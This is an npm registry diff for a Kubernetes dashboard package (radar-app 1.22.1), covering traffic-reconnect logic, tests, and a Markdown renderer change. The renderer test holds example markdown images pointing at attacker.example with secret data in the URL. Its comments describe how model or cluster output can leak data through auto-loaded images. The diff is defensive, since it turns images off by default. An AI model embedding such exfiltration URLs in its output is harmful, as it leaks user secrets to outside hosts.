@skyhook-io/radar-app 1.22.0 → 1.22.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (57) hide show
  1. package/package.json +1 -1
  2. package/src/App.tsx +2 -1
  3. package/src/api/client.ts +12 -0
  4. package/src/api/cnpg-history.ts +3 -3
  5. package/src/api/cnpg-storage.ts +3 -3
  6. package/src/api/diagnose.test.ts +34 -0
  7. package/src/api/diagnose.ts +17 -4
  8. package/src/api/radarFeatures.test.ts +13 -1
  9. package/src/api/radarFeatures.ts +2 -0
  10. package/src/api/resourceActions.test.ts +829 -0
  11. package/src/api/resourceActions.ts +584 -0
  12. package/src/api/resourceActions.ui.test.tsx +1882 -0
  13. package/src/api/reviewedActionMutation.ts +56 -28
  14. package/src/api/substrateHealth.ts +2 -3
  15. package/src/api/traffic.ts +13 -5
  16. package/src/api/workloadMetrics.test.ts +11 -2
  17. package/src/api/workloadMetrics.ts +2 -2
  18. package/src/components/diagnose/AnalysisStory.test.tsx +12 -0
  19. package/src/components/diagnose/DiagnoseContext.question.test.tsx +34 -1
  20. package/src/components/diagnose/DiagnoseContext.tsx +28 -3
  21. package/src/components/diagnose/DiagnoseSurface.tsx +5 -4
  22. package/src/components/diagnose/Home.tsx +3 -0
  23. package/src/components/diagnose/InvestigationEvidencePane.test.tsx +61 -0
  24. package/src/components/diagnose/InvestigationView.followupFailure.test.tsx +122 -0
  25. package/src/components/diagnose/InvestigationView.tsx +10 -2
  26. package/src/components/diagnose/LocalDiagnoseAction.history.test.tsx +1 -1
  27. package/src/components/diagnose/LocalDiagnoseAction.tsx +2 -2
  28. package/src/components/diagnose/QuestionComposer.test.tsx +16 -2
  29. package/src/components/diagnose/QuestionComposer.tsx +13 -8
  30. package/src/components/diagnose/diagnoseEvidenceTypes.ts +47 -8
  31. package/src/components/diagnose/investigationEvidence/adapters/diagnose.test.ts +153 -0
  32. package/src/components/diagnose/investigationEvidence/adapters/diagnose.ts +9 -13
  33. package/src/components/diagnose/investigationEvidence/adapters/issues.ts +21 -5
  34. package/src/components/diagnose/investigationEvidence/bodies/network.tsx +63 -26
  35. package/src/components/diagnose/launch.ts +1 -1
  36. package/src/components/dock/PodDebugSession.test.tsx +66 -0
  37. package/src/components/dock/PodDebugSession.tsx +3 -1
  38. package/src/components/dock/TerminalTab.test.tsx +43 -3
  39. package/src/components/dock/TerminalTab.tsx +10 -1
  40. package/src/components/helm/HelmReleaseDrawer.tsx +1 -1
  41. package/src/components/helm/InstallWizard.tsx +1 -1
  42. package/src/components/home/mcpToolCatalog.ts +1 -1
  43. package/src/components/resources/PodEvictAction.test.tsx +951 -0
  44. package/src/components/resources/PodEvictAction.tsx +167 -0
  45. package/src/components/resources/ResourcesView.tsx +3 -0
  46. package/src/components/resources/renderers/WorkloadRenderer.tsx +3 -0
  47. package/src/components/settings/LocalConnectionSettings.tsx +4 -4
  48. package/src/components/settings/SettingsDialog.tsx +23 -18
  49. package/src/components/settings/integrationQueries.test.ts +98 -0
  50. package/src/components/settings/integrationQueries.ts +36 -0
  51. package/src/components/traffic/TrafficView.reconnect.test.tsx +229 -0
  52. package/src/components/traffic/TrafficView.tsx +91 -35
  53. package/src/components/ui/Markdown.test.tsx +37 -0
  54. package/src/components/ui/Markdown.tsx +15 -2
  55. package/src/components/useContextSwitchFlow.test.tsx +27 -2
  56. package/src/components/useContextSwitchFlow.tsx +20 -22
  57. package/src/components/workload/WorkloadView.tsx +16 -3
@@ -0,0 +1,229 @@
1
+ // @vitest-environment jsdom
2
+ import { act } from 'react'
3
+ import { createRoot } from 'react-dom/client'
4
+ import { MemoryRouter } from 'react-router-dom'
5
+ import { QueryClient, QueryClientProvider } from '@tanstack/react-query'
6
+ import { expect, it, vi } from 'vitest'
7
+ import { setAutomaticRequestMarking } from '../../api/config'
8
+ import { invalidateIntegrationQueries } from '../settings/integrationQueries'
9
+ import { TrafficView } from './TrafficView'
10
+
11
+ vi.mock('../../hooks/useDesktopDownload', () => ({ useDesktopBlobDownload: () => undefined }))
12
+ vi.mock('./TrafficGraph', () => ({ TrafficGraph: () => null }))
13
+
14
+ vi.mock('../../api/client', async importOriginal => ({
15
+ ...(await importOriginal<typeof import('../../api/client')>()),
16
+ useClusterInfo: () => ({ data: { context: 'test' } }),
17
+ useNamespaceScope: () => ({ data: undefined }),
18
+ }))
19
+
20
+ vi.mock('../dock', async importOriginal => ({
21
+ ...(await importOriginal<typeof import('../dock')>()),
22
+ useDock: () => ({ setLeftOffset: () => {}, addTab: () => 'flows', removeTab: () => {} }),
23
+ }))
24
+
25
+ vi.mock('../../context/ConnectionContext', async importOriginal => ({
26
+ ...(await importOriginal<typeof import('../../context/ConnectionContext')>()),
27
+ useConnection: () => ({ connection: { state: 'connected' } }),
28
+ }))
29
+
30
+ const settle = () => act(async () => {
31
+ await new Promise(resolve => setTimeout(resolve, 0))
32
+ })
33
+
34
+ it.each([
35
+ 'success',
36
+ 'failure',
37
+ 'cancelled detection',
38
+ 'unmounted during detection',
39
+ 'cancelled manual Retry',
40
+ 'status stays disconnected',
41
+ 'initial status stays disconnected',
42
+ 'flows lose source without Settings invalidation',
43
+ 'Beyla unavailable until Metrics repair',
44
+ ])('handles traffic connection status and source loss (%s)', async (scenario) => {
45
+ const queryClient = new QueryClient({ defaultOptions: { queries: { enabled: false, retryDelay: 0 } } })
46
+ const container = document.body.appendChild(document.createElement('div'))
47
+ const root = createRoot(container)
48
+ const connectOrigins: (string | null)[] = []
49
+ const connectionFailure = 'Could not connect to Hubble'
50
+ const notConnected = 'Not connected to Hubble Relay. Call Connect() first or use the Traffic view to establish connection.'
51
+ const source = scenario === 'Beyla unavailable until Metrics repair' ? 'beyla' : 'hubble'
52
+ const manualRetry = scenario === 'cancelled manual Retry'
53
+ const cancelledDetection = manualRetry ? 2 : scenario === 'cancelled detection' ? 1 : 0
54
+ let connected = false
55
+ let sourceAvailable = true
56
+ let freshDetections = 0
57
+ let resumeDetection: (() => void) | undefined
58
+ let unmounted = false
59
+ let warnings = 0
60
+ let disconnectedStatusReads = 0
61
+ let statusReadsAfterReconnect = 0
62
+ queryClient.setQueryDefaults(['traffic-sources'], { enabled: true })
63
+ vi.stubGlobal('IS_REACT_ACT_ENVIRONMENT', true)
64
+ setAutomaticRequestMarking(true)
65
+ vi.stubGlobal('fetch', vi.fn(async (url: string, init?: RequestInit) => {
66
+ const { pathname, search } = new URL(url, window.location.origin)
67
+ switch (pathname) {
68
+ case '/api/traffic/sources':
69
+ if (!search) {
70
+ freshDetections++
71
+ if (freshDetections === cancelledDetection) {
72
+ return new Promise<Response>((_, reject) => {
73
+ init!.signal!.addEventListener('abort', () => reject(init!.signal!.reason), { once: true })
74
+ })
75
+ }
76
+ if (scenario === 'unmounted during detection') {
77
+ await new Promise<void>(resolve => { resumeDetection = resolve })
78
+ }
79
+ }
80
+ return Response.json({
81
+ cluster: {}, active: sourceAvailable ? source : '', notDetected: [],
82
+ detected: [{ name: source, status: sourceAvailable ? 'available' : 'not_found' }],
83
+ })
84
+ case '/api/traffic/connection':
85
+ if (connectOrigins.length > 1) statusReadsAfterReconnect++
86
+ if (!connected) disconnectedStatusReads++
87
+ return Response.json({ connected: connected &&
88
+ scenario !== 'initial status stays disconnected' &&
89
+ !((scenario === 'status stays disconnected' || manualRetry) && connectOrigins.length > 1) })
90
+ case '/api/traffic/connect':
91
+ expect(init?.method).toBe('POST')
92
+ connectOrigins.push(new Headers(init?.headers).get('X-Radar-Request-Origin'))
93
+ if ((connectOrigins.length > 1 && scenario === 'failure') || (connectOrigins.length === 2 && manualRetry)) {
94
+ return Response.json({ connected: false, error: connectionFailure })
95
+ }
96
+ if (!sourceAvailable) {
97
+ return Response.json({ error: 'No traffic source available' }, { status: 503 })
98
+ }
99
+ connected = true
100
+ return Response.json({ connected })
101
+ case '/api/traffic/flows':
102
+ if (!connected && (scenario === 'flows lose source without Settings invalidation' || !sourceAvailable)) {
103
+ return Response.json({ error: 'no traffic source available' }, { status: 503 })
104
+ }
105
+ if (!connected) warnings++
106
+ return Response.json({ source, timestamp: '', flows: [], aggregated: [], warning: connected ? undefined : notConnected })
107
+ default:
108
+ throw new Error(`Unexpected request to ${url}`)
109
+ }
110
+ }))
111
+
112
+ try {
113
+ await act(async () => {
114
+ root.render(
115
+ <QueryClientProvider client={queryClient}>
116
+ <MemoryRouter initialEntries={['/traffic']}>
117
+ <TrafficView namespaces={[]} />
118
+ </MemoryRouter>
119
+ </QueryClientProvider>,
120
+ )
121
+ })
122
+ await vi.waitFor(async () => {
123
+ await settle()
124
+ expect(connected).toBe(true)
125
+ expect(queryClient.getQueryData(['traffic-connection'])).toEqual({
126
+ connected: scenario !== 'initial status stays disconnected',
127
+ })
128
+ expect(queryClient.getQueryState(['traffic-connection'])?.fetchStatus).toBe('idle')
129
+ })
130
+ await settle()
131
+ expect(connectOrigins).toEqual(['auto'])
132
+ expect(freshDetections).toBe(0)
133
+ if (scenario === 'initial status stays disconnected') return
134
+
135
+ connected = false
136
+ const statusReadsBeforeLoss = disconnectedStatusReads
137
+ if (scenario === 'flows lose source without Settings invalidation' || source === 'beyla') {
138
+ sourceAvailable = source !== 'beyla'
139
+ await act(async () => {
140
+ await queryClient.refetchQueries({ queryKey: ['traffic-flows'] })
141
+ })
142
+ } else {
143
+ const warningsBeforeSave = warnings
144
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
145
+ expect(warnings).toBeGreaterThan(warningsBeforeSave)
146
+ }
147
+
148
+ if (scenario === 'unmounted during detection') {
149
+ await vi.waitFor(() => expect(resumeDetection).toBeDefined())
150
+ expect(connectOrigins).toEqual(['auto'])
151
+ act(() => root.unmount())
152
+ unmounted = true
153
+ resumeDetection!()
154
+ await settle()
155
+ expect(queryClient.getQueryState(['traffic-sources'])?.status).toBe('success')
156
+ expect(connectOrigins).toEqual(['auto'])
157
+ return
158
+ }
159
+
160
+ if (source === 'beyla') {
161
+ await vi.waitFor(async () => {
162
+ await settle()
163
+ expect(container.textContent).toContain('Beyla is installed but not usable')
164
+ })
165
+ expect(freshDetections).toBe(1)
166
+ expect(connectOrigins).toEqual(['auto'])
167
+ sourceAvailable = true
168
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
169
+ }
170
+
171
+ if (scenario === 'cancelled detection') {
172
+ await vi.waitFor(async () => {
173
+ await settle()
174
+ expect(freshDetections).toBe(1)
175
+ })
176
+ expect(connectOrigins).toEqual(['auto'])
177
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
178
+ }
179
+ await vi.waitFor(async () => {
180
+ await settle()
181
+ if (scenario === 'failure' || manualRetry) {
182
+ expect(container.textContent).toContain(connectionFailure)
183
+ expect(container.textContent).toContain('Retry Connection')
184
+ } else if (scenario === 'status stays disconnected') {
185
+ expect(statusReadsAfterReconnect).toBeGreaterThan(0)
186
+ } else {
187
+ expect(queryClient.getQueryData(['traffic-connection'])).toEqual({ connected: true })
188
+ }
189
+ })
190
+ if (manualRetry) {
191
+ const retry = Array.from(container.querySelectorAll('button')).find(button => button.textContent?.trim() === 'Retry Connection')
192
+ expect(retry).toBeDefined()
193
+ await act(async () => retry!.click())
194
+ await vi.waitFor(() => expect(freshDetections).toBe(2))
195
+ expect(connectOrigins).toEqual(['auto', 'auto'])
196
+
197
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
198
+ await vi.waitFor(async () => {
199
+ await settle()
200
+ expect(connectOrigins).toEqual(['auto', 'auto', 'auto'])
201
+ expect(queryClient.getQueryData(['traffic-connection'])).toEqual({ connected: false })
202
+ expect(queryClient.getQueryState(['traffic-connection'])?.fetchStatus).toBe('idle')
203
+ })
204
+ // The save's invalidation can restart the reconnect's detection, so only
205
+ // the second save is held to starting nothing.
206
+ const detectionsBeforeSecondSave = freshDetections
207
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
208
+ await settle()
209
+ expect(connectOrigins).toEqual(['auto', 'auto', 'auto'])
210
+ expect(freshDetections).toBe(detectionsBeforeSecondSave)
211
+ return
212
+ }
213
+ if (scenario === 'flows lose source without Settings invalidation') {
214
+ expect(disconnectedStatusReads - statusReadsBeforeLoss).toBe(1)
215
+ } else {
216
+ await act(async () => invalidateIntegrationQueries(queryClient, ['metrics']))
217
+ }
218
+ await settle()
219
+ expect(container.textContent).not.toContain('No traffic source available')
220
+ expect(connectOrigins).toEqual(['auto', 'auto'])
221
+ expect(freshDetections).toBe(scenario === 'cancelled detection' ? 2 : 1)
222
+ } finally {
223
+ if (!unmounted) act(() => root.unmount())
224
+ queryClient.clear()
225
+ container.remove()
226
+ setAutomaticRequestMarking(false)
227
+ vi.unstubAllGlobals()
228
+ }
229
+ })
@@ -1,5 +1,5 @@
1
1
  import { useState, useEffect, useMemo, useRef, useCallback } from 'react'
2
- import { useTrafficSources, useTrafficFlows, useTrafficRecords, useTrafficConnect, useSetTrafficSource } from '../../api/traffic'
2
+ import { useTrafficSources, useTrafficFlows, useTrafficRecords, useTrafficConnect, useTrafficConnectionStatus, useSetTrafficSource } from '../../api/traffic'
3
3
  import { useClusterInfo, useNamespaceScope } from '../../api/client'
4
4
  import { useSearchParams } from 'react-router-dom'
5
5
  import type { TrafficWizardState, AggregatedFlow, TrafficFlow } from '../../types'
@@ -12,7 +12,7 @@ import { TrafficFocusSearch } from './TrafficFocusSearch'
12
12
  import { TrafficSourcePill } from './TrafficSourcePill'
13
13
  import { TrafficGraphTooLarge } from './TrafficGraphTooLarge'
14
14
  import { TrafficGraphUnavailable } from './TrafficGraphUnavailable'
15
- import { useQueryClient } from '@tanstack/react-query'
15
+ import { isCancelledError, useQueryClient } from '@tanstack/react-query'
16
16
  import { useDock, useDockReservedHeight } from '../dock'
17
17
  import { AlertBanner, EmptyState, PaneLoader, FreshnessControl } from '@skyhook-io/k8s-ui'
18
18
  import { useConnection } from '../../context/ConnectionContext'
@@ -474,9 +474,17 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
474
474
  const [isConnecting, setIsConnecting] = useState(false)
475
475
  const [connectionError, setConnectionError] = useState<string | null>(null)
476
476
  const queryClient = useQueryClient()
477
- const connectMutation = useTrafficConnect()
477
+ const { mutate: connectTraffic } = useTrafficConnect()
478
+ const checkTrafficStatus = wizardState === 'ready' && !isConnecting
479
+ const trafficStatus = useTrafficConnectionStatus(checkTrafficStatus)
478
480
  const setSourceMutation = useSetTrafficSource()
479
481
  const hasAutoConnectedRef = useRef(false)
482
+ const reconnectStateRef = useRef<'idle' | 'armed' | 'awaiting-status'>('idle')
483
+ const connectAttemptRef = useRef(0)
484
+
485
+ useEffect(() => () => {
486
+ connectAttemptRef.current++
487
+ }, [])
480
488
 
481
489
  // Track cluster context to reset state on cluster change
482
490
  const { data: clusterInfo } = useClusterInfo()
@@ -487,9 +495,12 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
487
495
  const currentCluster = clusterInfo?.context || null
488
496
  if (lastClusterRef.current !== null && lastClusterRef.current !== currentCluster) {
489
497
  // Cluster changed - reset wizard state and invalidate traffic queries
498
+ connectAttemptRef.current++
490
499
  setWizardState('detecting')
500
+ setIsConnecting(false)
491
501
  setConnectionError(null)
492
502
  hasAutoConnectedRef.current = false
503
+ reconnectStateRef.current = 'idle'
493
504
  queryClient.invalidateQueries({ queryKey: ['traffic-sources'] })
494
505
  queryClient.invalidateQueries({ queryKey: ['traffic-flows'] })
495
506
  queryClient.invalidateQueries({ queryKey: ['traffic-connection'] })
@@ -507,6 +518,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
507
518
  data: flowsData,
508
519
  isFetching: flowsFetching,
509
520
  dataUpdatedAt: flowsUpdatedAt,
521
+ error: flowsError,
510
522
  refetch: refetchFlowsRaw,
511
523
  } = useTrafficFlows({
512
524
  namespaces,
@@ -518,6 +530,12 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
518
530
  enabled: wizardState === 'ready' && !isConnecting && !connectionError,
519
531
  })
520
532
 
533
+ useEffect(() => {
534
+ if (flowsError?.message === 'no traffic source available') {
535
+ queryClient.invalidateQueries({ queryKey: ['traffic-connection'] })
536
+ }
537
+ }, [flowsError, queryClient])
538
+
521
539
  // A partial, incomplete or cluster warning is the source's answer rather than
522
540
  // a hiccup, so retrying it is all cost and no progress.
523
541
  const warningRetriable = warningRetries(flowsData?.warningKind)
@@ -1199,37 +1217,37 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
1199
1217
  return
1200
1218
  }
1201
1219
 
1202
- if (!sourcesData) {
1203
- setWizardState('not_found')
1204
- return
1205
- }
1206
-
1207
- // Only consider sources with status 'available' as ready
1208
- const availableSources = sourcesData.detected.filter(s => s.status === 'available')
1209
- if (availableSources.length > 0) {
1210
- setWizardState('ready')
1211
- } else {
1212
- setWizardState('not_found')
1213
- }
1220
+ setWizardState(sourcesData?.detected.some(s => s.status === 'available') ? 'ready' : 'not_found')
1214
1221
  }, [sourcesData, sourcesLoading])
1215
1222
 
1223
+ useEffect(() => {
1224
+ if (wizardState !== 'not_found') return
1225
+ connectAttemptRef.current++
1226
+ hasAutoConnectedRef.current = false
1227
+ reconnectStateRef.current = 'idle'
1228
+ setIsConnecting(false)
1229
+ setConnectionError(null)
1230
+ }, [wizardState])
1231
+
1216
1232
  // Shared connection handler — used by auto-connect and retry buttons.
1217
1233
  // Deliberately does NOT reset hasAutoConnectedRef on failure: that ref gates
1218
- // the auto-connect effect, and re-arming it would re-fire auto-connect on
1219
- // every failed attempt (unbounded loop). Retries come from the explicit
1220
- // Retry button, which calls handleConnect directly.
1234
+ // the initial auto-connect effect, which would otherwise run again on every
1235
+ // failed attempt. Recovery from source loss has its own guard.
1221
1236
  //
1222
1237
  // The page opens on a detection that may be a couple of minutes old, so the
1223
1238
  // source it names may since have gone. A retry detects again first, which
1224
1239
  // also picks another available source, and the first failed connect gets
1225
1240
  // one such retry on its own.
1226
1241
  const handleConnect = useCallback((redetect: boolean, automatic = false) => {
1242
+ const attemptId = ++connectAttemptRef.current
1243
+ reconnectStateRef.current = 'idle'
1227
1244
  setIsConnecting(true)
1228
1245
  setConnectionError(null)
1229
1246
  queryClient.removeQueries({ queryKey: ['traffic-flows'] })
1230
1247
 
1231
1248
  const attempt = (fresh: boolean) => {
1232
1249
  const fail = (message: string) => {
1250
+ if (attemptId !== connectAttemptRef.current) return
1233
1251
  if (!fresh) {
1234
1252
  attempt(true)
1235
1253
  return
@@ -1239,24 +1257,40 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
1239
1257
  }
1240
1258
  const detected = fresh ? detectSourcesAgain() : Promise.resolve(undefined)
1241
1259
  detected.then(
1242
- () => connectMutation.mutate({ automatic }, {
1243
- onSuccess: (data) => {
1244
- if (!data.connected && data.error) {
1245
- fail(data.error)
1246
- return
1247
- }
1260
+ (sources) => {
1261
+ if (attemptId !== connectAttemptRef.current) return
1262
+ if (sources && !sources.detected.some(s => s.status === 'available')) {
1248
1263
  setIsConnecting(false)
1249
- },
1250
- onError: (error) => fail(error.message),
1251
- }),
1264
+ return
1265
+ }
1266
+ connectTraffic({ automatic }, {
1267
+ onSuccess: (data) => {
1268
+ if (attemptId !== connectAttemptRef.current) return
1269
+ if (!data.connected && data.error) {
1270
+ fail(data.error)
1271
+ return
1272
+ }
1273
+ if (data.connected) {
1274
+ reconnectStateRef.current = 'awaiting-status'
1275
+ }
1276
+ setIsConnecting(false)
1277
+ },
1278
+ onError: (error) => fail(error.message),
1279
+ })
1280
+ },
1252
1281
  (error: Error) => {
1282
+ if (attemptId !== connectAttemptRef.current) return
1253
1283
  setIsConnecting(false)
1254
- setConnectionError(error.message)
1284
+ if (isCancelledError(error)) {
1285
+ reconnectStateRef.current = 'armed'
1286
+ } else {
1287
+ setConnectionError(error.message)
1288
+ }
1255
1289
  },
1256
1290
  )
1257
1291
  }
1258
1292
  attempt(redetect)
1259
- }, [connectMutation, queryClient, detectSourcesAgain])
1293
+ }, [connectTraffic, queryClient, detectSourcesAgain])
1260
1294
 
1261
1295
  // The wizard polls without waiting on the answer; a failed detection shows
1262
1296
  // through the sources query's own state.
@@ -1264,9 +1298,7 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
1264
1298
  detectSourcesAgain().catch(() => {})
1265
1299
  }, [detectSourcesAgain])
1266
1300
 
1267
- // Auto-connect once when a source is first detected. Strictly one-shot per
1268
- // mount / cluster (the ref resets on cluster change); failures surface a
1269
- // manual Retry rather than re-arming this effect.
1301
+ // Auto-connect once when a source is first detected or becomes available again.
1270
1302
  useEffect(() => {
1271
1303
  if (wizardState === 'ready' && !hasAutoConnectedRef.current && !isConnecting) {
1272
1304
  hasAutoConnectedRef.current = true
@@ -1274,6 +1306,20 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
1274
1306
  }
1275
1307
  }, [wizardState, isConnecting, handleConnect])
1276
1308
 
1309
+ // A settings save can replace the traffic manager while this view is open.
1310
+ const trafficConnected = checkTrafficStatus && trafficStatus.isSuccess && !trafficStatus.isFetching
1311
+ ? trafficStatus.data.connected
1312
+ : undefined
1313
+ useEffect(() => {
1314
+ if (connectionError) return
1315
+ // A successful reconnect only ends the loss once the status confirms it.
1316
+ if (trafficConnected === true && reconnectStateRef.current === 'awaiting-status') {
1317
+ reconnectStateRef.current = 'armed'
1318
+ } else if (trafficConnected === false && reconnectStateRef.current === 'armed') {
1319
+ handleConnect(true, true)
1320
+ }
1321
+ }, [trafficConnected, connectionError, handleConnect])
1322
+
1277
1323
  // Show wizard if no traffic source detected
1278
1324
  if (wizardState !== 'ready') {
1279
1325
  return (
@@ -1363,22 +1409,32 @@ export function TrafficView({ namespaces, onSetNamespaces }: TrafficViewProps) {
1363
1409
  const activeSource = availableSources.find(s => s.name === activeName) || availableSources[0]
1364
1410
 
1365
1411
  const handleSwitchSource = (name: string) => {
1412
+ const attemptId = ++connectAttemptRef.current
1366
1413
  setIsConnecting(true)
1367
1414
  setConnectionError(null)
1368
1415
  hasAutoConnectedRef.current = true
1416
+ reconnectStateRef.current = 'idle'
1417
+ const fail = (error: Error) => {
1418
+ if (attemptId !== connectAttemptRef.current) return
1419
+ setIsConnecting(false)
1420
+ setConnectionError(error.message)
1421
+ }
1369
1422
  setSourceMutation.mutate(name, {
1370
1423
  onSuccess: () => {
1424
+ if (attemptId !== connectAttemptRef.current) return
1371
1425
  queryClient.invalidateQueries({ queryKey: ['traffic-sources'] })
1372
- connectMutation.mutate(undefined, {
1426
+ connectTraffic(undefined, {
1373
1427
  onSuccess: (data) => {
1428
+ if (attemptId !== connectAttemptRef.current) return
1429
+ reconnectStateRef.current = data.connected ? 'awaiting-status' : 'idle'
1374
1430
  setIsConnecting(false)
1375
1431
  if (!data.connected && data.error) setConnectionError(data.error)
1376
1432
  queryClient.invalidateQueries({ queryKey: ['traffic-flows'] })
1377
1433
  },
1378
- onError: (error) => { setIsConnecting(false); setConnectionError(error.message) },
1434
+ onError: fail,
1379
1435
  })
1380
1436
  },
1381
- onError: (error) => { setIsConnecting(false); setConnectionError(error.message) },
1437
+ onError: fail,
1382
1438
  })
1383
1439
  }
1384
1440
 
@@ -1,6 +1,7 @@
1
1
  // @vitest-environment jsdom
2
2
  import { act } from 'react'
3
3
  import { createRoot, type Root } from 'react-dom/client'
4
+ import { renderToStaticMarkup } from 'react-dom/server'
4
5
  import { afterEach, beforeEach, describe, expect, it } from 'vitest'
5
6
  import { Markdown } from './Markdown'
6
7
 
@@ -62,4 +63,40 @@ describe('Markdown', () => {
62
63
  expect(labels).toContain('b:kubectl describe pod x')
63
64
  expect(labels.some((l) => l?.startsWith('a:'))).toBe(false)
64
65
  })
66
+
67
+ // Text from a model or a cluster can carry an image whose URL holds the data
68
+ // around it; rendering it as <img> makes the browser send that data out.
69
+ describe('images', () => {
70
+ const EXFIL = [
71
+ 'Inline ![status](https://attacker.example/i?d=secret) here.',
72
+ 'Reference ![status][r] here.\n\n[r]: https://attacker.example/r?d=secret',
73
+ 'Linked [![status](https://attacker.example/l?d=secret)](https://example.com/docs)',
74
+ 'No alt ![](https://attacker.example/n?d=secret)',
75
+ ].join('\n\n')
76
+
77
+ it('shows alt text instead of loading the image', () => {
78
+ act(() => root.render(<Markdown>{EXFIL}</Markdown>))
79
+ expect(container.querySelector('img')).toBeNull()
80
+ expect(container.innerHTML).not.toContain('attacker.example')
81
+ expect(container.textContent).toContain('Inline status here.')
82
+ expect(container.textContent).toContain('Reference status here.')
83
+ // The enclosing link stays a link; only its image becomes text.
84
+ expect(container.querySelector('a')?.textContent).toBe('status')
85
+ })
86
+
87
+ it('emits no image or preload when server-rendered', () => {
88
+ const html = renderToStaticMarkup(<Markdown>{EXFIL}</Markdown>)
89
+ expect(html).not.toContain('<img')
90
+ expect(html).not.toContain('preload')
91
+ expect(html).not.toContain('attacker.example')
92
+ })
93
+
94
+ it('renders images when the caller allows them', () => {
95
+ act(() => root.render(<Markdown allowImages>{'![badge](https://img.example/b.svg)'}</Markdown>))
96
+ const img = container.querySelector('img')
97
+ expect(img?.getAttribute('src')).toBe('https://img.example/b.svg')
98
+ expect(img?.getAttribute('alt')).toBe('badge')
99
+ expect(img?.getAttribute('referrerpolicy')).toBe('no-referrer')
100
+ })
101
+ })
65
102
  })
@@ -13,6 +13,14 @@ interface MarkdownHooks {
13
13
  */
14
14
  linkRenderer?: (href: string | undefined, children: ReactNode) => ReactNode | null
15
15
  codeActions?: (code: string) => ReactNode
16
+ /**
17
+ * Render markdown images as images. Off by default: text from a model or a
18
+ * cluster can carry an image whose URL holds the data around it, and the
19
+ * browser would fetch it as soon as the answer renders. Off, an image shows
20
+ * as its alt text. Turn it on only for content whose author is trusted to
21
+ * load remote images, such as a Helm chart README.
22
+ */
23
+ allowImages?: boolean
16
24
  }
17
25
 
18
26
  interface MarkdownProps extends MarkdownHooks {
@@ -59,6 +67,11 @@ const COMPONENTS: Components = {
59
67
  </a>
60
68
  )
61
69
  },
70
+ img: function MarkdownImage({ src, alt }) {
71
+ const { allowImages } = useContext(MarkdownHooksContext)
72
+ if (!allowImages) return alt ? <span>{alt}</span> : null
73
+ return <img src={src} alt={alt ?? ''} loading="lazy" referrerPolicy="no-referrer" className="inline max-w-full" />
74
+ },
62
75
  ul: ({ children }) => (
63
76
  <ul className="list-disc list-outside pl-4 my-2 space-y-1 text-theme-text-secondary">{children}</ul>
64
77
  ),
@@ -150,8 +163,8 @@ const COMPONENTS: Components = {
150
163
  ),
151
164
  }
152
165
 
153
- export function Markdown({ children, className, linkRenderer, codeActions }: MarkdownProps) {
154
- const hooks = useMemo(() => ({ linkRenderer, codeActions }), [linkRenderer, codeActions])
166
+ export function Markdown({ children, className, linkRenderer, codeActions, allowImages }: MarkdownProps) {
167
+ const hooks = useMemo(() => ({ linkRenderer, codeActions, allowImages }), [linkRenderer, codeActions, allowImages])
155
168
  return (
156
169
  <div className={clsx('markdown-content', className)}>
157
170
  <MarkdownHooksContext.Provider value={hooks}>
@@ -9,10 +9,11 @@ const mocks = vi.hoisted(() => ({
9
9
  mutateAsync: vi.fn(),
10
10
  setFailedSwitch: vi.fn(),
11
11
  startSwitch: vi.fn(),
12
+ counts: { portForwards: 0, execSessions: 0, localTerminals: 0, total: 0 },
12
13
  }))
13
14
  vi.mock('../api/client', () => ({
14
15
  useSwitchContext: () => ({ mutateAsync: mocks.mutateAsync, isPending: false, isError: false, error: null }),
15
- fetchSessionCounts: async () => ({ portForwards: 0 }),
16
+ fetchSessionCounts: async () => mocks.counts,
16
17
  SwitchContextError: class extends Error {},
17
18
  }))
18
19
  vi.mock('../context/ConnectionContext', () => ({ useConnection: () => ({ connection: mocks.connection }) }))
@@ -25,7 +26,6 @@ vi.mock('../context/ContextSwitchContext', () => ({
25
26
  }),
26
27
  }))
27
28
  vi.mock('./ui/Toast', () => ({ useToast: () => ({ showError: vi.fn() }) }))
28
- vi.mock('./dock', () => ({ useDock: () => ({ tabs: [] }) }))
29
29
 
30
30
  const { useContextSwitchFlow } = await import('./useContextSwitchFlow')
31
31
 
@@ -42,6 +42,7 @@ function Probe() {
42
42
  beforeEach(() => {
43
43
  vi.clearAllMocks()
44
44
  mocks.connection.errorType = undefined
45
+ mocks.counts = { portForwards: 0, execSessions: 0, localTerminals: 0, total: 0 }
45
46
  root = createRoot(document.createElement('div'))
46
47
  act(() => root.render(<Probe />))
47
48
  })
@@ -67,4 +68,28 @@ describe('useContextSwitchFlow', () => {
67
68
  await act(() => flow().requestSwitch(ctx('staging', false)))
68
69
  expect(mocks.mutateAsync).toHaveBeenCalledWith({ name: 'staging' })
69
70
  })
71
+
72
+ it('asks first only for the live sessions a switch ends, as the server counts them', async () => {
73
+ mocks.counts = { portForwards: 0, execSessions: 0, localTerminals: 2, total: 2 }
74
+ await act(() => flow().requestSwitch(ctx('staging', false)))
75
+ expect(mocks.mutateAsync).toHaveBeenCalledTimes(1)
76
+
77
+ for (const counts of [
78
+ { portForwards: 1, execSessions: 1, localTerminals: 0, total: 2 },
79
+ { portForwards: 0, execSessions: 1, localTerminals: 0, total: 1 },
80
+ { portForwards: 1, execSessions: 0, localTerminals: 0, total: 1 },
81
+ ]) {
82
+ mocks.mutateAsync.mockClear()
83
+ mocks.counts = counts
84
+ await act(() => flow().requestSwitch(ctx('staging', false)))
85
+ expect(mocks.mutateAsync).not.toHaveBeenCalled()
86
+ const host = document.body.appendChild(document.createElement('div'))
87
+ const dialog = createRoot(host)
88
+ act(() => dialog.render(<>{flow().confirmDialog}</>))
89
